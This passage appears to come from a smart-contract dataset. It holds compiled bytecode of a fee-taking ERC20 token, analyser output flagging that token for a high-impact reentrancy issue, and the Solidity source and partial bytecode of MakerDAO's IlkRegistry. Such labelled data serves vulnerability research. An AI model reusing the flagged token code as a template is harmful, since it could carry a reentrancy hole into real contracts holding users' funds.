1e775750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ecd5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ee7576000600b819055506009600c81905550611ef8565b6000600b819055506000600c819055505b5b6000611f0430610c30565b9050611f586064611f4a600e54611f3c601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c30565b6120d590919063ffffffff16565b61214f90919063ffffffff16565b811115611fb457611fb16064611fa3600e54611f95601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c30565b6120d590919063ffffffff16565b61214f90919063ffffffff16565b90505b601060159054906101000a900460ff1615801561201f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156120375750601060169054906101000a900460ff165b1561205f5761204581612273565b6000479050600081111561205d5761205c47612199565b5b505b505b61206c8383836124ec565b505050565b60008383111582906120b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b09190612b76565b60405180910390fd5b50600083856120c89190613782565b9050809150509392505050565b60008083036120e75760009050612149565b600082846120f591906137b6565b9050828482612104919061383f565b14612144576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213b906138e2565b60405180910390fd5b809150505b92915050565b600061219183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124fc565b905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612201573d6000803e3d6000fd5b5050565b600060095482111561224c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224390613974565b60405180910390fd5b600061225661255f565b905061226b818461214f90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122ab576122aa612ce5565b5b6040519080825280602002602001820160405280156122d95781602001602082028036833780820191505090505b50905030816000815181106122f1576122f0613084565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612398573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123bc91906131ab565b816001815181106123d0576123cf613084565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061243730600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611648565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161249b959493929190613a52565b600060405180830381600087803b1580156124b557600080fd5b505af11580156124c9573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b6124f783838361258a565b505050565b60008083118290612543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253a9190612b76565b60405180910390fd5b5060008385612552919061383f565b9050809150509392505050565b600080600061256c612755565b91509150612583818361214f90919063ffffffff16565b9250505090565b60008060008060008061259c876127b7565b9550955095509550955095506125fa86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281f90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268f85600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286990919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126db816128c7565b6126e58483612984565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127429190612cc5565b60405180910390a3505050505050505050565b60008060006009549050600068056bc75e2d63100000905061278b68056bc75e2d6310000060095461214f90919063ffffffff16565b8210156127aa5760095468056bc75e2d631000009350935050506127b3565b81819350935050505b9091565b60008060008060008060008060006127d48a600b54600c546129be565b92509250925060006127e461255f565b905060008060006127f78e878787612a54565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061286183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612071565b905092915050565b600080828461287891906136c0565b9050838110156128bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128b490613af8565b60405180910390fd5b8091505092915050565b60006128d161255f565b905060006128e882846120d590919063ffffffff16565b905061293c81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286990919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129998260095461281f90919063ffffffff16565b6009819055506129b481600a5461286990919063ffffffff16565b600a819055505050565b6000806000806129ea60646129dc888a6120d590919063ffffffff16565b61214f90919063ffffffff16565b90506000612a146064612a06888b6120d590919063ffffffff16565b61214f90919063ffffffff16565b90506000612a3d82612a2f858c61281f90919063ffffffff16565b61281f90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a6d85896120d590919063ffffffff16565b90506000612a8486896120d590919063ffffffff16565b90506000612a9b87896120d590919063ffffffff16565b90506000612ac482612ab6858761281f90919063ffffffff16565b61281f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b17578082015181840152602081019050612afc565b83811115612b26576000848401525b50505050565b6000601f19601f8301169050919050565b6000612b4882612add565b612b528185612ae8565b9350612b62818560208601612af9565b612b6b81612b2c565b840191505092915050565b60006020820190508181036000830152612b908184612b3d565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612bd782612bac565b9050919050565b612be781612bcc565b8114612bf257600080fd5b50565b600081359050612c0481612bde565b92915050565b6000819050919050565b612c1d81612c0a565b8114612c2857600080fd5b50565b600081359050612c3a81612c14565b92915050565b60008060408385031215612c5757612c56612ba2565b5b6000612c6585828601612bf5565b9250506020612c7685828601612c2b565b9150509250929050565b60008115159050919050565b612c9581612c80565b82525050565b6000602082019050612cb06000830184612c8c565b92915050565b612cbf81612c0a565b82525050565b6000602082019050612cda6000830184612cb6565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d1d82612b2c565b810181811067ffffffffffffffff82111715612d3c57612d3b612ce5565b5b80604052505050565b6000612d4f612b98565b9050612d5b8282612d14565b919050565b600067ffffffffffffffff821115612d7b57612d7a612ce5565b5b602082029050602081019050919050565b600080fd5b6000612da4612d9f84612d60565b612d45565b90508083825260208201905060208402830185811115612dc757612dc6612d8c565b5b835b81811015612df05780612ddc8882612bf5565b845260208401935050602081019050612dc9565b5050509392505050565b600082601f830112612e0f57612e0e612ce0565b5b8135612e1f848260208601612d91565b91505092915050565b600060208284031215612e3e57612e3d612ba2565b5b600082013567ffffffffffffffff811115612e5c57612e5b612ba7565b5b612e6884828501612dfa565b91505092915050565b600080600060608486031215612e8a57612e89612ba2565b5b6000612e9886828701612bf5565b9350506020612ea986828701612bf5565b9250506040612eba86828701612c2b565b9150509250925092565b600060208284031215612eda57612ed9612ba2565b5b6000612ee884828501612bf5565b91505092915050565b600060ff82169050919050565b612f0781612ef1565b82525050565b6000602082019050612f226000830184612efe565b92915050565b600060208284031215612f3e57612f3d612ba2565b5b6000612f4c84828501612c2b565b91505092915050565b612f5e81612c80565b8114612f6957600080fd5b50565b600081359050612f7b81612f55565b92915050565b600060208284031215612f9757612f96612ba2565b5b6000612fa584828501612f6c565b91505092915050565b612fb781612bcc565b82525050565b6000602082019050612fd26000830184612fae565b92915050565b60008060408385031215612fef57612fee612ba2565b5b6000612ffd85828601612bf5565b925050602061300e85828601612bf5565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061304e602083612ae8565b915061305982613018565b602082019050919050565b6000602082019050818103600083015261307d81613041565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006130ed82612c0a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361311f5761311e6130b3565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613160601783612ae8565b915061316b8261312a565b602082019050919050565b6000602082019050818103600083015261318f81613153565b9050919050565b6000815190506131a581612bde565b92915050565b6000602082840312156131c1576131c0612ba2565b5b60006131cf84828501613196565b91505092915050565b60006040820190506131ed6000830185612fae565b6131fa6020830184612fae565b9392505050565b6000819050919050565b6000819050919050565b600061323061322b61322684613201565b61320b565b612c0a565b9050919050565b61324081613215565b82525050565b600060c08201905061325b6000830189612fae565b6132686020830188612cb6565b6132756040830187613237565b6132826060830186613237565b61328f6080830185612fae565b61329c60a0830184612cb6565b979650505050505050565b6000815190506132b681612c14565b92915050565b6000806000606084860312156132d5576132d4612ba2565b5b60006132e3868287016132a7565b93505060206132f4868287016132a7565b9250506040613305868287016132a7565b9150509250925092565b60006040820190506133246000830185612fae565b6133316020830184612cb6565b9392505050565b60008151905061334781612f55565b92915050565b60006020828403121561336357613362612ba2565b5b600061337184828501613338565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006133d6602483612ae8565b91506133e18261337a565b604082019050919050565b60006020820190508181036000830152613405816133c9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613468602283612ae8565b91506134738261340c565b604082019050919050565b600060208201905081810360008301526134978161345b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006134fa602583612ae8565b91506135058261349e565b604082019050919050565b60006020820190508181036000830152613529816134ed565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061358c602383612ae8565b915061359782613530565b604082019050919050565b600060208201905081810360008301526135bb8161357f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061361e602983612ae8565b9150613629826135c2565b604082019050919050565b6000602082019050818103600083015261364d81613611565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b600061368a601983612ae8565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b9050919050565b60006136cb82612c0a565b91506136d683612c0a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561370b5761370a6130b3565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061374c601a83612ae8565b915061375782613716565b602082019050919050565b6000602082019050818103600083015261377b8161373f565b9050919050565b600061378d82612c0a565b915061379883612c0a565b9250828210156137ab576137aa6130b3565b5b828203905092915050565b60006137c182612c0a565b91506137cc83612c0a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613805576138046130b3565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061384a82612c0a565b915061385583612c0a565b92508261386557613864613810565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006138cc602183612ae8565b91506138d782613870565b604082019050919050565b600060208201905081810360008301526138fb816138bf565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061395e602a83612ae8565b915061396982613902565b604082019050919050565b6000602082019050818103600083015261398d81613951565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6139c981612bcc565b82525050565b60006139db83836139c0565b60208301905092915050565b6000602082019050919050565b60006139ff82613994565b613a09818561399f565b9350613a14836139b0565b8060005b83811015613a45578151613a2c88826139cf565b9750613a37836139e7565b925050600181019050613a18565b5085935050505092915050565b600060a082019050613a676000830188612cb6565b613a746020830187613237565b8181036040830152613a8681866139f4565b9050613a956060830185612fae565b613aa26080830184612cb6565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613ae2601b83612ae8565b9150613aed82613aac565b602082019050919050565b60006020820190508181036000830152613b1181613ad5565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122029b71441691f0c1229219790f507e2ecaffc46304b65217e6a4a417087e6d0fb64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,579
0xa1cb9e29f1727d8a0a6e3e0c1334a2323312a2d5
// SPDX-License-Identifier: AGPL-3.0-or-later /// IlkRegistry.sol -- Publicly updatable ilk registry // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity ^0.6.12; interface JoinLike { function vat() external view returns (address); function ilk() external view returns (bytes32); function gem() external view returns (address); function dec() external view returns (uint256); function live() external view returns (uint256); } interface VatLike { function wards(address) external view returns (uint256); function live() external view returns (uint256); } interface DogLike { function vat() external view returns (address); function live() external view returns (uint256); function ilks(bytes32) external view returns (address, uint256, uint256, uint256); } interface CatLike { function vat() external view returns (address); function live() external view returns (uint256); function ilks(bytes32) external view returns (address, uint256, uint256); } interface FlipLike { function vat() external view returns (address); function cat() external view returns (address); } interface ClipLike { function vat() external view returns (address); function dog() external view returns (address); } interface SpotLike { function live() external view returns (uint256); function vat() external view returns (address); function ilks(bytes32) external view returns (address, uint256); } interface TokenLike { function name() external view returns (string memory); function symbol() external view returns (string memory); } contract GemInfo { function name(address token) external view returns (string memory) { return TokenLike(token).name(); } function symbol(address token) external view returns (string memory) { return TokenLike(token).symbol(); } } contract IlkRegistry { event Rely(address usr); event Deny(address usr); event File(bytes32 what, address data); event File(bytes32 ilk, bytes32 what, address data); event File(bytes32 ilk, bytes32 what, uint256 data); event File(bytes32 ilk, bytes32 what, string data); event AddIlk(bytes32 ilk); event RemoveIlk(bytes32 ilk); event UpdateIlk(bytes32 ilk); event NameError(bytes32 ilk); event SymbolError(bytes32 ilk); // --- Auth --- mapping (address => uint) public wards; function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); } function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); } modifier auth { require(wards[msg.sender] == 1, "IlkRegistry/not-authorized"); _; } VatLike public immutable vat; GemInfo private immutable gemInfo; DogLike public dog; CatLike public cat; SpotLike public spot; struct Ilk { uint96 pos; // Index in ilks array address join; // DSS GemJoin adapter address gem; // The token contract uint8 dec; // Token decimals uint96 class; // Classification code (1 - clip, 2 - flip, 3+ - other) address pip; // Token price address xlip; // Auction contract string name; // Token name string symbol; // Token symbol } mapping (bytes32 => Ilk) public ilkData; bytes32[] ilks; // Initialize the registry constructor(address vat_, address dog_, address cat_, address spot_) public { VatLike _vat = vat = VatLike(vat_); dog = DogLike(dog_); cat = CatLike(cat_); spot = SpotLike(spot_); require(dog.vat() == vat_, "IlkRegistry/invalid-dog-vat"); require(cat.vat() == vat_, "IlkRegistry/invalid-cat-vat"); require(spot.vat() == vat_, "IlkRegistry/invalid-spotter-vat"); require(_vat.wards(cat_) == 1, "IlkRegistry/cat-not-authorized"); require(_vat.wards(spot_) == 1, "IlkRegistry/spot-not-authorized"); require(_vat.live() == 1, "IlkRegistry/vat-not-live"); require(cat.live() == 1, "IlkRegistry/cat-not-live"); require(spot.live() == 1, "IlkRegistry/spot-not-live"); gemInfo = new GemInfo(); wards[msg.sender] = 1; } // Pass an active join adapter to the registry to add it to the set function add(address adapter) external { JoinLike _join = JoinLike(adapter); // Validate adapter require(_join.vat() == address(vat), "IlkRegistry/invalid-join-adapter-vat"); require(vat.wards(address(_join)) == 1, "IlkRegistry/adapter-not-authorized"); // Validate ilk bytes32 _ilk = _join.ilk(); require(_ilk != 0, "IlkRegistry/ilk-adapter-invalid"); require(ilkData[_ilk].join == address(0), "IlkRegistry/ilk-already-exists"); (address _pip,) = spot.ilks(_ilk); require(_pip != address(0), "IlkRegistry/pip-invalid"); (address _xlip,,,) = dog.ilks(_ilk); uint96 _class = 1; if (_xlip == address(0)) { (_xlip,,) = cat.ilks(_ilk); require(_xlip != address(0), "IlkRegistry/invalid-auction-contract"); _class = 2; } string memory name = bytes32ToStr(_ilk); try gemInfo.name(_join.gem()) returns (string memory _name) { if (bytes(_name).length != 0) { name = _name; } } catch { emit NameError(_ilk); } string memory symbol = bytes32ToStr(_ilk); try gemInfo.symbol(_join.gem()) returns (string memory _symbol) { if (bytes(_symbol).length != 0) { symbol = _symbol; } } catch { emit SymbolError(_ilk); } require(ilks.length < uint96(-1), "IlkRegistry/too-many-ilks"); ilks.push(_ilk); ilkData[ilks[ilks.length - 1]] = Ilk({ pos: uint96(ilks.length - 1), join: address(_join), gem: _join.gem(), dec: uint8(_join.dec()), class: _class, pip: _pip, xlip: _xlip, name: name, symbol: symbol }); emit AddIlk(_ilk); } // Anyone can remove an ilk if the adapter has been caged function remove(bytes32 ilk) external { JoinLike _join = JoinLike(ilkData[ilk].join); require(address(_join) != address(0), "IlkRegistry/invalid-ilk"); uint96 _class = ilkData[ilk].class; require(_class == 1 || _class == 2, "IlkRegistry/invalid-class"); require(_join.live() == 0, "IlkRegistry/ilk-live"); _remove(ilk); emit RemoveIlk(ilk); } // Admin can remove an ilk without any precheck function removeAuth(bytes32 ilk) external auth { _remove(ilk); emit RemoveIlk(ilk); } // Authed edit function function file(bytes32 what, address data) external auth { if (what == "dog") dog = DogLike(data); else if (what == "cat") cat = CatLike(data); else if (what == "spot") spot = SpotLike(data); else revert("IlkRegistry/file-unrecognized-param-address"); emit File(what, data); } // Authed edit function function file(bytes32 ilk, bytes32 what, address data) external auth { if (what == "gem") ilkData[ilk].gem = data; else if (what == "join") ilkData[ilk].join = data; else if (what == "xlip") ilkData[ilk].xlip = data; else revert("IlkRegistry/file-unrecognized-param-address"); emit File(ilk, what, data); } // Authed edit function function file(bytes32 ilk, bytes32 what, uint256 data) external auth { if (what == "class") { require(data <= uint96(-1) && data != 0); ilkData[ilk].class = uint96(data); } else if (what == "dec") { require(data <= uint8(-1)); ilkData[ilk].dec = uint8(data); } else revert("IlkRegistry/file-unrecognized-param-uint256"); emit File(ilk, what, data); } // Authed edit function function file(bytes32 ilk, bytes32 what, string calldata data) external auth { if (what == "name") ilkData[ilk].name = data; else if (what == "symbol") ilkData[ilk].symbol = data; else revert("IlkRegistry/file-unrecognized-param-string"); emit File(ilk, what, data); } // Remove ilk from the ilks array by replacing the ilk with the // last in the array and then trimming the end. function _remove(bytes32 ilk) internal { // Get the position in the array uint256 _index = ilkData[ilk].pos; // Get the last ilk in the array bytes32 _moveIlk = ilks[ilks.length - 1]; // Replace the ilk we are removing ilks[_index] = _moveIlk; // Update the array position for the moved ilk ilkData[_moveIlk].pos = uint96(_index); // Trim off the end of the ilks array ilks.pop(); // Delete struct data delete ilkData[ilk]; } // The number of active ilks function count() external view returns (uint256) { return ilks.length; } // Return an array of the available ilks function list() external view returns (bytes32[] memory) { return ilks; } // Get a splice of the available ilks, useful when ilks array is large. function list(uint256 start, uint256 end) external view returns (bytes32[] memory) { require(start <= end && end < ilks.length, "IlkRegistry/invalid-input"); bytes32[] memory _ilks = new bytes32[]((end - start) + 1); uint256 _count = 0; for (uint256 i = start; i <= end; i++) { _ilks[_count] = ilks[i]; _count++; } return _ilks; } // Get the ilk at a specific position in the array function get(uint256 pos) external view returns (bytes32) { require(pos < ilks.length, "IlkRegistry/index-out-of-range"); return ilks[pos]; } // Get information about an ilk, including name and symbol function info(bytes32 ilk) external view returns ( string memory name, string memory symbol, uint256 class, uint256 dec, address gem, address pip, address join, address xlip ) { Ilk memory _ilk = ilkData[ilk]; return ( _ilk.name, _ilk.symbol, _ilk.class, _ilk.dec, _ilk.gem, _ilk.pip, _ilk.join, _ilk.xlip ); } // The location of the ilk in the ilks array function pos(bytes32 ilk) external view returns (uint256) { return ilkData[ilk].pos; } // The classification code of the ilk // 1 - Flipper // 2 - Clipper // 3+ - RWA or custom adapter function class(bytes32 ilk) external view returns (uint256) { return ilkData[ilk].class; } // The token address function gem(bytes32 ilk) external view returns (address) { return ilkData[ilk].gem; } // The ilk's price feed function pip(bytes32 ilk) external view returns (address) { return ilkData[ilk].pip; } // The ilk's join adapter function join(bytes32 ilk) external view returns (address) { return ilkData[ilk].join; } // The auction contract for the ilk function xlip(bytes32 ilk) external view returns (address) { return ilkData[ilk].xlip; } // The number of decimals on the ilk function dec(bytes32 ilk) external view returns (uint256) { return ilkData[ilk].dec; } // Return the symbol of the token, if available function symbol(bytes32 ilk) external view returns (string memory) { return ilkData[ilk].symbol; } // Return the name of the token, if available function name(bytes32 ilk) external view returns (string memory) { return ilkData[ilk].name; } // Public function to update an ilk's pip and flip if the ilk has been updated. function update(bytes32 ilk) external { require(JoinLike(ilkData[ilk].join).vat() == address(vat), "IlkRegistry/invalid-ilk"); require(JoinLike(ilkData[ilk].join).live() == 1, "IlkRegistry/ilk-not-live-use-remove-instead"); uint96 _class = ilkData[ilk].class; require(_class == 1 || _class == 2, "IlkRegistry/invalid-class"); (address _pip,) = spot.ilks(ilk); require(_pip != address(0), "IlkRegistry/pip-invalid"); ilkData[ilk].pip = _pip; emit UpdateIlk(ilk); } // Force addition or update of a collateral type. (i.e. for RWA, etc.) // Governance managed function put( bytes32 _ilk, address _join, address _gem, uint256 _dec, uint256 _class, address _pip, address _xlip, string calldata _name, string calldata _symbol ) external auth { require(_class != 0 && _class <= uint96(-1), "IlkRegistry/invalid-class"); require(_dec <= uint8(-1), "IlkRegistry/invalid-dec"); uint96 _pos; if (ilkData[_ilk].class == 0) { require(ilks.length < uint96(-1), "IlkRegistry/too-many-ilks"); ilks.push(_ilk); _pos = uint96(ilks.length - 1); emit AddIlk(_ilk); } else { _pos = ilkData[_ilk].pos; emit UpdateIlk(_ilk); } ilkData[ilks[_pos]] = Ilk({ pos: _pos, join: _join, gem: _gem, dec: uint8(_dec), class: uint96(_class), pip: _pip, xlip: _xlip, name: _name, symbol: _symbol }); } function bytes32ToStr(bytes32 _bytes32) internal pure returns (string memory) { bytes memory _bytesArray = new bytes(32); for (uint256 i; i < 32; i++) { _bytesArray[i] = _bytes32[i]; } return string(_bytesArray); } }
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80636f265b931161010f578063ad677d0b116100a2578063c8b97f7111610071578063c8b97f71146109d2578063d4e8be8314610a4e578063e488181314610a87578063ebecb39d14610a8f576101e5565b8063ad677d0b146107fd578063b64a097e1461081a578063bf353dbb14610997578063c3b3ad7f146109ca576101e5565b80639c52a7f1116100de5780639c52a7f1146105ed578063a19555d914610620578063a49030361461063d578063a53a42b51461065a576101e5565b80636f265b931461058e5780638b147245146105965780639507d39a146105b357806395bc2673146105d0576101e5565b806336569e771161018757806356eac7dc1161015657806356eac7dc1461048f57806365fae35e146104ac578063691f3431146104df5780636baa033014610571576101e5565b806336569e771461033a57806341f0b723146103425780634d8835e61461035f57806350fd73671461046c576101e5565b80631a0b287e116101c35780631a0b287e14610291578063217cf12b146102ba578063247c803f146102d75780633017a54d1461031d576101e5565b806306661abd146101ea5780630a3b0a4f146102045780630f560cd714610239575b600080fd5b6101f2610ace565b60408051918252519081900360200190f35b6102376004803603602081101561021a57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610ad4565b005b610241611aa9565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561027d578181015183820152602001610265565b505050509050019250505060405180910390f35b610237600480360360608110156102a757600080fd5b5080359060208101359060400135611b01565b6101f2600480360360208110156102d057600080fd5b5035611d3b565b6102f4600480360360208110156102ed57600080fd5b5035611d5e565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101f26004803603602081101561033357600080fd5b5035611d89565b6102f4611db9565b6102f46004803603602081101561035857600080fd5b5035611ddd565b610237600480360361012081101561037657600080fd5b81359173ffffffffffffffffffffffffffffffffffffffff6020820135811692604083013582169260608101359260808201359260a083013582169260c08101359092169190810190610100810160e08201356401000000008111156103db57600080fd5b8201836020820111156103ed57600080fd5b8035906020019184600183028401116401000000008311171561040f57600080fd5b91939092909160208101903564010000000081111561042d57600080fd5b82018360208201111561043f57600080fd5b8035906020019184600183028401116401000000008311171561046157600080fd5b509092509050611e08565b6102416004803603604081101561048257600080fd5b50803590602001356123d2565b6101f2600480360360208110156104a557600080fd5b50356124eb565b610237600480360360208110156104c257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661250b565b6104fc600480360360208110156104f557600080fd5b50356125e8565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561053657818101518382015260200161051e565b50505050905090810190601f1680156105635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104fc6004803603602081101561058757600080fd5b50356126aa565b6102f4612735565b610237600480360360208110156105ac57600080fd5b5035612751565b6101f2600480360360208110156105c957600080fd5b5035612bf7565b610237600480360360208110156105e657600080fd5b5035612c89565b6102376004803603602081101561060357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16612ef1565b6102376004803603602081101561063657600080fd5b5035612fcd565b6102f46004803603602081101561065357600080fd5b503561308a565b6106776004803603602081101561067057600080fd5b50356130c5565b604051808a6bffffffffffffffffffffffff1681526020018973ffffffffffffffffffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff1681526020018760ff168152602001866bffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018060200180602001838103835285818151815260200191508051906020019080838360005b83811015610759578181015183820152602001610741565b50505050905090810190601f1680156107865780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b838110156107b95781810151838201526020016107a1565b50505050905090810190601f1680156107e65780820380516001836020036101000a031916815260200191505b509b50505050505050505050505060405180910390f35b6102f46004803603602081101561081357600080fd5b50356132ac565b6108376004803603602081101561083057600080fd5b50356132e4565b6040518080602001806020018981526020018881526020018773ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff16815260200183810383528b818151815260200191508051906020019080838360005b838110156108f45781810151838201526020016108dc565b50505050905090810190601f1680156109215780820380516001836020036101000a031916815260200191505b5083810382528a5181528a516020918201918c019080838360005b8381101561095457818101518382015260200161093c565b50505050905090810190601f1680156109815780820380516001836020036101000a031916815260200191505b509a505050505050505050505060405180910390f35b6101f2600480360360208110156109ad57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16613567565b6102f4613579565b610237600480360360608110156109e857600080fd5b813591602081013591810190606081016040820135640100000000811115610a0f57600080fd5b820183602082011115610a2157600080fd5b80359060200191846001830284011164010000000083111715610a4357600080fd5b509092509050613595565b61023760048036036040811015610a6457600080fd5b508035906020013573ffffffffffffffffffffffffffffffffffffffff16613787565b6102f46139f1565b61023760048036036060811015610aa557600080fd5b508035906020810135906040013573ffffffffffffffffffffffffffffffffffffffff16613a0d565b60055490565b60008190507f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff166336569e776040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5657600080fd5b505afa158015610b6a573d6000803e3d6000fd5b505050506040513d6020811015610b8057600080fd5b505173ffffffffffffffffffffffffffffffffffffffff1614610bee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806140ed6024913960400191505060405180910390fd5b7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b73ffffffffffffffffffffffffffffffffffffffff1663bf353dbb826040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c7557600080fd5b505afa158015610c89573d6000803e3d6000fd5b505050506040513d6020811015610c9f57600080fd5b5051600114610cf9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806141116022913960400191505060405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b815260040160206040518083038186803b158015610d4157600080fd5b505afa158015610d55573d6000803e3d6000fd5b505050506040513d6020811015610d6b57600080fd5b5051905080610ddb57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f496c6b52656769737472792f696c6b2d616461707465722d696e76616c696400604482015290519081900360640190fd5b6000818152600460205260409020546c01000000000000000000000000900473ffffffffffffffffffffffffffffffffffffffff1615610